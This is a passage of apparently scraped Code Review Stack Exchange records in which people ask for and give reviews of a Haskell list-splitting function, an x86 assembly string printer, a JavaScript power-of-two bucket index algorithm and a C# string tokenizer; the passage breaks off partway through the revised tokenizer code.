<p><code>nSplit</code>: Write a function <code>nSplit</code> that takes a delimiter value <code>“c”</code>, an integer <code>“n”</code>, and a list <code>“iL”</code>, and it splits the input list with respect to the delimiter <code>“c”</code> up to <code>“n”</code> times.</p>
<p>Example output:</p>
<pre><code>nSplit 0 3 [1,2,3,0,4,0,5,0,0,6,7,8,9,10]
[[1,2,3],[4],[5],[0,6,7,89,10]]
</code></pre>
<p>My nSplit function:</p>
<pre><code>nSplit :: (Ord a1, Num a1, Eq a2) => a2 -> a1 -> [a2] -> [[a2]]
nSplit a2 a1 iL = let
helper a2 a1 [] buf = (reverse buf):[]
helper a2 a1 (x:xs) buf = if x==a2&&a1/=0
then (reverse buf):(helper a2 (a1-1) xs [])
else (helper a2 a1 xs (x:buf))
in helper a2 a1 iL [] -- use helper
</code></pre>
<p>Is there any possible way I can make improvements to this code since I did these to the best of my ability with barely any knowledge of Haskell. My professor approved of my code but he said it could be condensed somehow. Does anyone have any ideas of what changes I could make to my code if there are even any? They seem to pass all the provided test he gave us.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T16:21:57.257",
"Id": "489277",
"Score": "1",
"body": "Does he approve of you asking online about your code?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T01:47:35.890",
"Id": "249521",
"Score": "2",
"Tags": [
"haskell",
"functional-programming"
],
"Title": "Splitting a list based on a delimeter into n chunks in Haskell. How can I write my functions more effeciently?"
}
|
249521
|
<p>How does the following program look to print a list of strings? What places can I improve? Are there easier ways to print something like a linebreak after each string rather than hardcoding the <code>\n</code> into the string itself?</p>
<pre><code># Program, print out a list of strings, one per line
.data
SYS_EXIT = 60
SYS_WRITE = 1
SYS_STDOUT = 1
# Empty string means end of strings
strings: .asciz "Once\n", "upon\n", "a\n", "time\n", "...\n", ""
.text
.globl _start
get_string_length:
mov $0, %eax
.L1_loop:
movzbl (%edi, %eax), %ecx
cmp $0, %cl
je .L1_exit
inc %eax
jmp .L1_loop
.L1_exit:
ret
_start:
mov $strings, %rbx
print_loop:
mov %rbx, %rdi
call get_string_length # (rdi=file_descriptor, rsi=starting_address, rdx=size)
cmp $0, %eax
jz exit
mov $SYS_STDOUT,%edi
mov %rbx, %rsi
mov %eax, %edx
mov $SYS_WRITE, %eax
syscall
lea 1(%eax, %ebx,), %ebx
jmp print_loop
exit:
mov $0, %edi
mov $SYS_EXIT, %eax
syscall
</code></pre>
|
[] |
[
{
"body": "<blockquote>\n<p>Are there <strong>easier ways</strong> to print something like a linebreak after each string rather than hardcoding the \\n into the string itself?</p>\n</blockquote>\n<p>Embedded newlines are certainly the easiest way to do this, but definitively not the most versatile way. Embedding the newlines kind of pushes you in the direction that the strings will be used for outputting only. You might want to do lots of other stuff with them too.<br />\nI advocate keeping the strings pure and adding the linebreaks, or any other prefix or suffix for that matter, later on. Since you already have to count the characters in the string, you can at the same time copy the string to a buffer (every non-trivial program has some general purpose buffer at the ready). Once you read the zero terminator you store the newline in the buffer. Then you're ready to print the buffer contents for which you now know the length.</p>\n<p>In below code <em>PrepStringForOutput</em> is a leaf function which means you can do pretty much anything you like in it. You don't have to follow any register conventions per se.</p>\n<pre><code># Program, print out a list of strings, one per line\n.data\n\nSYS_EXIT = 60\nSYS_WRITE = 1\nSYS_STDOUT = 1\n\n# Empty string means end of strings\nStrings: .asciz "Once", "upon", "a", "time", "...", ""\nBuffer: .ascii "12345"\n\n.text\n.globl _start\n\n; IN (%rbx is asciz) OUT (%rsi is buffer, %rdx is length) MOD (%al) \n\nPrepStringForOutput:\n mov $Buffer, %rsi # Destination\n xor %edx, %edx # Length\n .L1_loop:\n mov (%rbx, %rdx), %al # Character from asciz string\n test %al, %al\n jz .L1_exit\n mov %al, (%rsi, %rdx) # Store in buffer\n inc %edx\n jmp .L1_loop\n .L1_exit:\n mov $10, (%rsi, %rdx) # Adding newline\n inc %edx\n ret\n\n_start:\n\n mov $Strings, %rbx\n PrintLoop:\n cmpb $0, (%rbx) # End of list ?\n je Exit\n call PrepStringForOutput # -> %rsi is address, %rdx is length\n add %rdx, %rbx # Advancing in the list\n mov $SYS_STDOUT, %edi\n mov $SYS_WRITE, %eax\n syscall\n jmp PrintLoop\n Exit:\n xor %edi, %edi\n mov $SYS_EXIT, %eax\n syscall\n</code></pre>\n<blockquote>\n<p>What places can I improve?</p>\n</blockquote>\n<p>You'll easily spot these in above code...<br />\nSee the nice tabular layout?</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:59:18.910",
"Id": "249865",
"ParentId": "249524",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249865",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T05:07:13.783",
"Id": "249524",
"Score": "4",
"Tags": [
"assembly",
"x86"
],
"Title": "Print a list of strings in assembly"
}
|
249524
|
<p>So this is building off of <a href="https://codereview.stackexchange.com/questions/249377/algorithm-for-dividing-a-number-into-largest-power-of-two-buckets">Algorithm for dividing a number into largest "power of two" buckets?</a>. Here is a slight modification of the answer from there:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>let numbers = [1, 2, 3, 4, 5, 6, 7, 30, 31, 32, 33, 20, 25, 36, 50, 100, 201]
numbers.forEach(n => console.log(`${n} =`, split(n).join(', ')))
function split(number) {
const result = [0, 0, 0, 0, 0, 0]
let unit = 32
let index = 5
while (unit > 0) {
while (number >= unit) {
result[index]++
number -= unit
}
index -= 1
unit >>= 1
}
return result
}</code></pre>
</div>
</div>
</p>
<p>The <code>split</code> function creates "power of two" buckets from an overall <em>array</em> of items of length <code>n</code>. That is, it divides a single large array into multiple small arrays. The <code>result</code> array is 6 items long, accounting for buckets of sizes <code>[1, 2, 4, 8, 16, 32]</code>. Each item in the array is how many buckets of that size need to exist.</p>
<p>Given that, the goal is to then take an <em>index</em> <code>i</code>, and return the bucket and bucket index where you will find that corresponding item. So for example, here are some outputs, and here is my attempt at an algorithm:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>let numbers = [1, 2, 3, 4, 5, 6, 7, 30, 31, 32, 33, 20, 25, 36, 50, 100, 201]
numbers.forEach(n => {
const [c, i] = getCollectionIndexAndItemIndex(n, 300)
console.log(`${n} = ${c}:${i}`)
})
function getCollectionIndexAndItemIndex(i, size) {
const parts = split(size).reverse() // assume this is memoized or something
let j = 0
let last = 0
let map = [1, 2, 4, 8, 16, 32].reverse()
let k = 0
let bucket = 0
main:
while (k <= i) {
let times = parts[j]
while (times--) {
let value = map[j]
last = 0
while (value--) {
k++
if (value > 0) {
last++
} else {
last = 0
bucket++
}
if (k == i) {
break main
}
}
}
j++
}
return [ bucket, last ]
}
function split(number) {
const result = [0, 0, 0, 0, 0, 0]
let unit = 32
let index = 5
while (unit > 0) {
while (number >= unit) {
result[index]++
number -= unit
}
index -= 1
unit >>= 1
}
return result
}</code></pre>
</div>
</div>
</p>
<p>That outputs this:</p>
<pre><code>1 = 0:1
2 = 0:2
3 = 0:3
4 = 0:4
5 = 0:5
6 = 0:6
7 = 0:7
30 = 0:30
31 = 0:31
32 = 1:0
33 = 1:1
20 = 0:20
25 = 0:25
36 = 1:4
50 = 1:18
100 = 3:4
201 = 6:9
</code></pre>
<p>So basically, for index <code>i == 1</code>, we go to the first bucket (bucket <code>0</code>), second index (<code>i == 1</code>), represented as <code>1 = 0:1</code>. For the 32nd index <code>i == 32</code>, that is the 33rd item, so we fill up 1 32-item bucket, and spill over 1, so index 0 in the second bucket, represented <code>32 = 1:0</code>. For index 201, equals <code>6:9</code>, which you can calculate as <code>((32 * 6) - 1) + 10 == 192 - 1 + 10 == 201</code>.</p>
<p>The problem is, this algorithm is O(n), it counts <code>k++</code> for every item up to <code>k == i</code>. I think there might be a way to optimize this so it can do larger jumps (32, 16, 8, 4, 2, 1 jumps), and cut out a lot of the iterations, I'm just not sure how. Can you find a way to maximally optimize this to the fewest number of steps, using only primitive operations and values (i.e. not fancy <code>array.map</code> and such, but just low-level while or for loops, and bitwise operations)? Basically, how can you optimize the <code>getCollectionIndexAndItemIndex</code> operation, and also simplify it so it's easier to follow.</p>
<p>The <code>size</code> parameter is set to 300, but that is the size of the array. But it could be any size, and we would then want to find the corresponding index within that array, jumping to the appropriate bucket and offset.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:39:34.527",
"Id": "489226",
"Score": "1",
"body": "Hmm, you tag this with \"performance\" and then for *this*, you pick the only solution that doesn't divide by 32 or shift by 5?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:45:24.257",
"Id": "489228",
"Score": "0",
"body": "Why do you even create that array at all? Is that you the [Y to your X](http://xyproblem.info/)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:51:06.377",
"Id": "489229",
"Score": "0",
"body": "Also, how about proper test cases? Right now, all of them can be solved with just `return [i >> 5, i & 31]`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:55:16.263",
"Id": "489230",
"Score": "0",
"body": "I have no idea what you are talking about, all over my head. Please show more of what you are saying. If you already know the answer then that would be helpful, this was the best I could do, feel free to shift things around and reframe things."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T00:57:34.880",
"Id": "489770",
"Score": "0",
"body": "You wrote \"using only primitive operations and values (i.e. not fancy `array.map` and such...\", yet you use `array.forEach`. Where is \"the line\"?\nThis is not an attack - just an attempt to understand."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T11:59:48.647",
"Id": "489803",
"Score": "0",
"body": "How about my suggested code in the answer below?"
}
] |
[
{
"body": "<p>I think your code is too complex and can be simplified.<br />\nAlso, you wrote "<code>using only primitive operations and values (i.e. not fancy array.map and such...</code>", yet you use <code>array.forEach</code>. Where is the "line"?<br />\nI hope this is what you are looking for.<br />\nNote:</p>\n<ul>\n<li>up-to 32 -> one bucket</li>\n<li>32 up-to 32*32 -> another bucket</li>\n<li>32<em>32 up-to 32</em>32*32 -> another bucket</li>\n<li>etc.</li>\n</ul>\n<p>Only after done, I got @superb rain's <code>[i >> 5, i & 31]</code>...<br />\nPerhaps I'll implement that in the future.<br />\nHowever, my code allows for "bucket-of-buckets".</p>\n<p>The heart of my code is the recursive function:</p>\n<pre><code>function recBucket(number, size) {\n if(number<size) return [number];\n else {\n var whole=Math.floor(number/size);\n return [recBucket(whole, size), number-whole*size].flat();\n }\n};\n</code></pre>\n<p>Here is a snippet that uses and builds on that:\n<div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>var numbers = [1, 2, 3, 31, 32, 33, 100, 201, 1023, 1024, 5555];\n\nfunction recBucket(number, size) {\n if(number<size) return [number];\n else {\n var whole=Math.floor(number/size);\n return [recBucket(whole, size), number-whole*size].flat();\n }\n};\n\nconsole.log(\"as is:\");\nnumbers.forEach(n=>console.log(n+\" = \"+recBucket(n, 32).join(\":\")));\n\nfunction minBuckets(number, size, buckets) {\n var result=recBucket(number, size);\n while(result.length<buckets) result.unshift(0);\n return result;\n};\n\nconsole.log(\"min 2 buckets:\");\nnumbers.forEach(n=>console.log(n+\" = \"+minBuckets(n, 32,2).join(\":\")));\n\nconsole.log(\"min 4 buckets:\");\nnumbers.forEach(n=>console.log(n+\" = \"+minBuckets(n, 32,4).join(\":\")));</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.as-console-wrapper { max-height: 100% !important; top: 0; }</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:02:19.537",
"Id": "489895",
"Score": "0",
"body": "@Lance, if you find my answer useful, please accept it.\nAccepting an answer increases reputation points.\nThank you."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T01:48:38.720",
"Id": "249779",
"ParentId": "249526",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249779",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T07:06:48.217",
"Id": "249526",
"Score": "2",
"Tags": [
"javascript",
"performance",
"algorithm",
"array"
],
"Title": "Algorithm to find bucket and item indices from power of two bins?"
}
|
249526
|
<p>Splitting a string in tokens is a more complex topic than <a href="https://docs.microsoft.com/en-us/dotnet/api/system.string.split?view=netcore-3.1" rel="noreferrer">String.Split()</a> wants to make us believe. There are at least three common policies according to which a string might be interpreted and split in tokens.</p>
<h1>Policy 1: Equivalent to String.Split()</h1>
<p>There is not much to mention about this policy. Given a string <code>s</code> and a delimiter <code>d</code>, break <code>s</code> into segments delimited by <code>d</code>. The main drawback here is that if the delimiter is part of at least one of the tokens, reconstructing the desired tokens might be costly.</p>
<h1>Policy 2: Escape special characters</h1>
<p>A character is declared as the <em>escape character</em> <code>e</code> (commonly the backslash <code>\</code>) resulting in the character following it losing its special meaning. A token string then might look like this:</p>
<p><code>token_1 token_2 very\ long \ token</code></p>
<p>which would be equivalent to</p>
<p><code>{ "token_1", "token_2", "very long token" }</code></p>
<h1>Policy 3: Place tokens in quotation marks</h1>
<p>This approach is for example used in CSV files generated in MSExcel. Everything between quotation marks is considered as a token. If quotation marks <code>"</code> are part of the token, they are doubled <code>""</code>. A token string then might look like this:</p>
<p><code>token_1,token_2,"token2,5"</code></p>
<p>which would be equivalent to</p>
<p><code>{ "token_1", "token_2", "token2,5" }</code></p>
<h1>Code</h1>
<pre><code>using System;
using System.Text;
using System.Text.RegularExpressions;
using System.Collections.Generic;
namespace Pillepalle1.ConsoleTelegramBot.Model.Misc
{
public sealed class StringTokenizer
{
private string _sourceString = null; // Provided data to split
#region Constructors
/// <summary>
/// Creates a new StringTokenizer
/// </summary>
/// <param name="dataInput">Data to be split into tokens</param>
public StringTokenizer(string dataInput)
{
_sourceString = dataInput ?? string.Empty;
}
#endregion
#region Interface
/// <summary>
/// Access tokens by index
/// </summary>
public string this[int index]
{
get
{
if (index >= this.Count)
{
return String.Empty;
}
return _Tokens[index];
}
}
/// <summary>
/// How many tokens does the command consist of
/// </summary>
public int Count
{
get
{
return _Tokens.Count;
}
}
/// <summary>
/// Which strategy is used to split the string into tokens
/// </summary>
public StringTokenizerStrategy Strategy
{
get
{
return _strategy;
}
set
{
if (value != _strategy)
{
_strategy = value;
_tokens = null;
}
}
}
private StringTokenizerStrategy _strategy = StringTokenizerStrategy.Split;
/// <summary>
/// Character used to delimit tokens
/// </summary>
public char Delimiter
{
get
{
return _delimiter;
}
set
{
if (value != _delimiter)
{
_delimiter = value;
_tokens = null;
}
}
}
private char _delimiter = ' ';
/// <summary>
/// Character used to escape the following character
/// </summary>
public char Escape
{
get
{
return _escape;
}
set
{
if (value != _escape)
{
_escape = value;
if (Strategy == StringTokenizerStrategy.Escaping)
{
_tokens = null;
}
}
}
}
private char _escape = '\\';
/// <summary>
/// Character used to surround tokens
/// </summary>
public char Quotes
{
get
{
return _quotes;
}
set
{
if (value != _quotes)
{
_quotes = value;
if (Strategy == StringTokenizerStrategy.Quotation)
{
_tokens = null;
}
}
}
}
private char _quotes = '"';
#endregion
#region Predefined Regex
private Regex Whitespaces
{
get
{
return new Regex("\\s+");
}
}
#endregion
#region Implementation Details
/// <summary>
/// Formats and splits the tokens by delimiter allowing to add delimiters by quoting
/// </summary>
private List<string> _SplitRespectingQuotation()
{
string data = _sourceString;
// Doing some basic transformations
data = Whitespaces.Replace(data, " ");
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Initialisation
List<string> l = new List<string>();
char[] record = data.ToCharArray();
StringBuilder property = new StringBuilder();
char c;
bool quoting = false;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Scan character by character
for (int i = 0; i < record.Length; i++)
{
c = record[i];
// Quotation-Character: Single -> Quote; Double -> Append
if (c == Quotes)
{
if (i == record.Length - 1)
{
quoting = !quoting;
}
else if (Quotes == record[1 + i])
{
property.Append(c);
i++;
}
else
{
quoting = !quoting;
}
}
// Delimiter: Escaping -> Append; Otherwise append
else if (c == Delimiter)
{
if (quoting)
{
property.Append(c);
}
else
{
l.Add(property.ToString());
property.Clear();
}
}
// Any other character: Append
else
{
property.Append(c);
}
}
l.Add(property.ToString()); // Add last token
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Checking consistency
if (quoting) throw new FormatException(); // All open quotation marks closed
return l;
}
/// <summary>
/// Splits the string by declaring one character as escape
/// </summary>
private List<string> _SplitRespectingEscapes()
{
string data = _sourceString;
// Doing some basic transformations
data = Whitespaces.Replace(data, " ");
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Initialisation
List<string> l = new List<string>();
char[] record = data.ToCharArray();
StringBuilder property = new StringBuilder();
char c;
bool escaping = false;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Scan character by character
for (int i = 0; i < record.Length; i++)
{
c = record[i];
if (escaping)
{
property.Append(c);
escaping = false;
continue;
}
if (c == Escape)
{
escaping = true;
}
else if (c == Delimiter)
{
l.Add(property.ToString());
property.Clear();
}
else
{
property.Append(c);
}
}
return l;
}
/// <summary>
/// Splits the string by calling a simple String.Split
/// </summary>
private List<string> _SplitPlain()
{
return new List<string>(Whitespaces.Replace(_sourceString, " ").Split(Delimiter));
}
/// <summary>
/// Backer for tokens
/// </summary>
private List<string> _Tokens
{
get
{
if (null == _tokens)
{
switch (Strategy)
{
case (StringTokenizerStrategy.Quotation): _tokens = _SplitRespectingQuotation(); break;
case (StringTokenizerStrategy.Escaping): _tokens = _SplitRespectingEscapes(); break;
default: _tokens = _SplitPlain(); break;
}
}
return _tokens;
}
}
private List<string> _tokens = null;
#endregion
}
public enum StringTokenizerStrategy
{
Split,
Quotation,
Escaping
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T07:25:40.357",
"Id": "489204",
"Score": "0",
"body": "I really like the way you use the Whitespaces Regex."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T10:35:50.683",
"Id": "489320",
"Score": "0",
"body": "You might want to look at [RFC 4180](https://tools.ietf.org/html/rfc4180) \"Common Format and MIME Type for Comma-Separated Values (CSV) Files\"."
}
] |
[
{
"body": "<ul>\n<li><p>You shouldn't have <code>Whitespaces</code> as a get-only property but as a private <code>readonly</code> field and you should have that regex compiled because you are using it quite often.</p>\n</li>\n<li><p><a href=\"https://softwareengineering.stackexchange.com/questions/53086/are-regions-an-antipattern-or-code-smell\">Using <code>region</code> is considered an antypattern</a></p>\n</li>\n<li><p>Use underscore-prefixing only for private fields. Don't use them for methods or properties.</p>\n</li>\n<li><p>If the type of a variable is clear from the right hand side of an assignment you should use <code>var</code> instead of the concrete type.</p>\n</li>\n<li><p>The code is doing a lot althought <code>_sourceString</code> may be <code>string.Empty</code> because the passed ctor-argument <code>dataInput</code> may be <code>null</code> or <code>string.Empty</code>. I would prefer to throw an exception in the <code>ctor</code>.</p>\n</li>\n<li><p>Instead of assigning a variable to another and then manipulate the resulting variable you could just do it on one line like e.g</p>\n<pre><code>string data = Whitespaces.Replace(_sourceString, " "); \n</code></pre>\n<p>instead of</p>\n<pre><code>string data = _sourceString;\n\n// Doing some basic transformations\ndata = Whitespaces.Replace(data, " "); \n</code></pre>\n</li>\n<li><p>If you only need to access single items of an array and don't need to look ahead, you should prefer a <code>foreach</code> over a <code>for</code> loop.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:10:25.703",
"Id": "489222",
"Score": "1",
"body": "Is `foreach` guaranteed to preserve the order? How to I compile a RegEx?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:11:43.627",
"Id": "489223",
"Score": "2",
"body": "yes. Using the overloaded constructor like `new Regex(\"\\\\s+\", RegexOptions.Compiled);`"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T09:53:04.800",
"Id": "249531",
"ParentId": "249527",
"Score": "9"
}
},
{
"body": "<ul>\n<li><p>A single-letter <code>l</code> name seems bad to me.</p>\n</li>\n<li><p>I think you should add a message to the exception that describes the reason for the error.</p>\n</li>\n<li><p>By default, you remove all whitespaces from the data. But they may be needed inside tokens. You can make an additional option to specify this.</p>\n</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T12:51:36.513",
"Id": "249540",
"ParentId": "249527",
"Score": "5"
}
},
{
"body": "<h1>I'm not so sure this belongs in a class - at least not a single one!</h1>\n<p>Take a step back and look at what unites and what separates each "strategy". They all need to transform an input string into a list of tokens based on a variable delimiter. However, there are properties that are only used by one of the three options, and the majority of the splitting logic is unique to its strategy.</p>\n<h3>Suggestion 1: Three "standalone" functions.</h3>\n<p>You'd really have to put them into a static class or do something special with delegates/lambdas, but ultimately there's little to gain from having one big class.</p>\n<pre><code> public static IList<string> SplitRespectingQuotation(string sourceString, char delimiter = ' ', char quote = '"') { ... }\n public static IList<string> SplitRespectingEscapes(string sourceString, char delimiter = ' ', char escape = '\\') { ... }\n public static IList<string> SplitPlain(string sourceString, char delimiter = ' ') { ... }\n</code></pre>\n<p>If you'd like the output to communicate the input parameters, you can make a much more lightweight class that does so. Its properties would be <code>readonly</code>; if you need to change them and re-compute, just call the function again. After all, that's essentially what you're doing on the inside of your current class!</p>\n<p>Another plus: if and when you come up with a new strategy for splitting, you can just create a new function without affecting the others. They're all independently testable, editable, and delete-able.</p>\n<h3>Suggestion 2: Three concrete classes that extend an abstract base class.</h3>\n<p>I do like what you did with the <code>_Tokens</code> property: it allows you to defer the computation until you really need it, which is helpful in cases that you won't. Also, one use case it supports (that isn't supported by "standalone" functions) is to change e.g. the escape character and have the result automatically "invalidated".</p>\n<p>To maintain that behavior, you could pull the common elements into an abstract base class, like the following:</p>\n<pre><code>public abstract class StringTokenizer\n{\n public string SourceString { get; }\n\n public StringTokenizer(string dataInput)\n {\n SourceString = dataInput ?? string.Empty;\n }\n\n public string this[int index] => index >= this.Count ? String.Empty : Tokens[index];\n\n public int Count => Tokens.Count;\n\n public char Delimiter\n {\n get { return _delimiter; }\n set\n {\n if (value != _delimiter)\n {\n _delimiter = value;\n InvalidateResult();\n }\n }\n }\n private char _delimiter = ' ';\n\n public IEnumerable<string> Tokens\n {\n get\n {\n if (_tokens is null)\n {\n _tokens = ComputeTokens();\n }\n return _tokens;\n }\n }\n private List<string> _tokens = null;\n\n protected abstract List<string> ComputeTokens();\n\n protected void InvalidateResult()\n {\n _tokens = null;\n }\n}\n</code></pre>\n<p>Notable changes:</p>\n<ol>\n<li>The actual split logic is absent. Each strategy will provide its own.</li>\n<li>Strategy-specific properties are absent. There's no need for an escape-based strategy to have a property for a quote character, and vice-versa.</li>\n<li>Instead of directly setting <code>_tokens = null</code>, properties should call <code>InvalidateResult</code>. This allows <code>_tokens</code> to be made <strong><code>private</code></strong> which keeps the logic contained to the base class.</li>\n<li><code>Tokens</code> is public, and is an <code>IEnumerable</code>. This allows consumers to use <code>foreach</code>, but discourages direct modification.</li>\n</ol>\n<p>A base class now has exactly one job: implement <code>ComputeTokens</code>. If it needs to create properties to do so, it may do so, based on its own, strategy-specific logic. If those properties need to invalidate previously-computed tokens when they change, they may call <code>InvalidateResult</code>.</p>\n<p>Here's a rough example of what a strategy sub class would look like:</p>\n<pre><code>public sealed class EscapeStringTokenizer : StringTokenizer\n{\n public EscapeStringTokenizer (string dataInput) : base(dataInput) { }\n\n public char Escape\n {\n get { return _escape; }\n set\n {\n if (value != _escape)\n {\n _escape = value;\n InvalidateResult();\n }\n }\n }\n\n protected override List<string> ComputeTokens()\n {\n // Actual logic omitted\n }\n}\n</code></pre>\n<h1>Other Observations</h1>\n<ol>\n<li>You allow the delimiter to be specified, but you always condense whitespace. If I split <code>"a,a and b,b"</code> with a delimiter of <code>","</code>, I would expect to get <code>{"a", "a and b", "b"}</code> back - but would actually get <code>{"a", "a and b", "b"}</code>.</li>\n<li>If the delimiter, etc., can be publicly read, why not expose the source string as well? See <code>SourceString</code> my abstract class above.</li>\n<li>I find the (relatively new) expression-bodied property accessors to be all-around better for simple properties. See <code>Count</code> in my abstract class above.</li>\n<li>I don't think it's possible to accidentally assign <code>null</code> to a variable as the condition of an if statement. This is because <code>x = null</code> evaluates to be the same type as <code>x</code>, which needs to be a <code>bool</code> (and thus, not nullable) in order to be a valid condition. If you'd still like to avoid <code>x == null</code>, you can say <code>x is null</code>.</li>\n<li>As mentioned by others, you shouldn't prefix properties with <code>_</code>. It's not there to differentiate between public and private, but between local variables and class fields. Personally, though, I don't even use <code>_</code> in that case, but instead prefer <code>this.</code> if needed. But overall you will need to be flexible about that and make sure to follow any pattern that's already established in an existing team or project.</li>\n<li>Also as others have mentioned, use <code>var</code> when declaring variables whenever possible. Any good IDE will be able to tell you the type when you hover over the variable, and its name should tell you what it's for even without the type.</li>\n<li>On that note, avoid names like <code>c</code> and <code>l</code>. <code>i</code> is fine because it's idiomatic as a loop/index variable, but the others require extra context to understand. Source code characters are cheap, so pay for some extra readability by using <code>currentChar</code> and <code>finishedTokens</code>.</li>\n<li>You don't need to translate the source <code>string</code> into a <code>char[]</code>; you can already access characters in a <code>string</code> by index.</li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T18:42:13.900",
"Id": "249551",
"ParentId": "249527",
"Score": "7"
}
},
{
"body": "<p>Thanks to everybody for the great feedback. I have adopted most of the changes to my code which is being hosted as FOS on <a href=\"https://github.com/pillepalle1/dotnet-pillepalle1\" rel=\"nofollow noreferrer\">https://github.com/pillepalle1/dotnet-pillepalle1</a> where it will receive further maintenance.</p>\n<p>For now, I have packed the splitting logic into three static extension methods. Additionally I have built wrappers as suggested by <a href=\"https://codereview.stackexchange.com/users/40880/therubberduck\">therubberduck</a> to optionally keep the comfort of automatic token invalidation</p>\n<h1>Suggestions I have implemented</h1>\n<ul>\n<li><p><strong>Variable naming</strong> Variable names such as <code>l</code> have been replaced by more descriptive names</p>\n</li>\n<li><p><strong>Exception messages</strong> Have been added</p>\n</li>\n<li><p><strong>Modification of token content</strong> Has been removed completely from the extension methods and made optionally available in the wrappers</p>\n</li>\n<li><p><strong>Regions</strong> have been completely removed</p>\n</li>\n<li><p><strong>Using var</strong> whenever reasonable/ possible</p>\n</li>\n<li><p><strong>Loops</strong> Preferring <code>foreach</code> over <code>for</code> loops and iterating over the <code>sourceString</code> instead of converting it to <code>char[]</code> first</p>\n</li>\n<li><p><strong>Inputstring</strong> Throwing <code>ArgumentNullException</code> instead of converting <code>null</code> to <code>String.Empty</code></p>\n</li>\n<li><p><strong>CSV Splitting</strong> according to RFC4180</p>\n</li>\n</ul>\n<p>I would have adopted more changes but some suggestions (ie regarding <code>Whitespaces</code> and expression bodied properties) have become obsolete in the new implementation.</p>\n<h1>Suggestions I have not implemented</h1>\n<ul>\n<li>The underscore naming for everything private/ protected seems more reasonable to me than just distinguishing between member- and local variables since when implementing concurrency robust data structures (which became a big thing since <code>Tasks</code> were implemented) it is incredibly valuable to see at first glance whether a method performs concurrency checks (public) or not (private).</li>\n</ul>\n<h1>Code</h1>\n<h2>Static Tokenizer Methods</h2>\n<pre><code>using System;\nusing System.Text;\nusing System.Collections.Immutable;\n\nnamespace pillepalle1.Text\n{\n public static class StringTokenizer\n {\n private static FormatException _nonQuotedTokenMayNotContainQuotes =\n new FormatException("[RFC4180] If fields are not enclosed with double quotes, then double quotes may not appear inside the fields.");\n\n private static FormatException _quotesMustBeEscapedException =\n new FormatException("[RFC4180] If double-quotes are used to enclose fields, then a double-quote appearing inside a field must be escaped by preceding it with another double quote.");\n\n private static FormatException _tokenNotFullyEnclosed =\n new FormatException("[RFC4180] \\"Each field may or may not be enclosed in double quotes\\". However, for the final field the closing quotes are missing.");\n\n\n /// <summary>\n /// <para>\n /// Formats and splits the tokens by delimiter allowing to add delimiters by quoting \n /// similar to https://tools.ietf.org/html/rfc4180\n /// </para>\n /// \n /// <para>\n /// Each field may or may not be enclosed in double quotes (however some programs, such as \n /// Microsoft Excel, do not use double quotes at all). If fields are not enclosed with \n /// double quotes, then double quotes may not appear inside the fields.\n /// </para>\n /// \n /// <para>\n /// Fields containing line breaks (CRLF), double quotes, and commas should be enclosed in \n /// double-quotes.\n /// </para>\n /// \n /// <para>\n /// If double-quotes are used to enclose fields, then a double-quote appearing inside a \n /// field must be escaped by preceding it with another double quote.\n /// </para>\n /// \n /// <para>\n /// The ABNF defines \n /// \n /// [field = (escaped / non-escaped)] || \n /// [non-escaped = *TEXTDATA] || \n /// [TEXTDATA = %x20-21 / %x23-2B / %x2D-7E]\n /// \n /// specifically forbidding to include quotes in non-escaped fields, hardening the *SHOULD*\n /// requirement above.\n /// </para>\n /// </summary>\n public static ImmutableList<string> SplitRespectingQuotation(this string sourceString, char delimiter = ' ', char quotes = 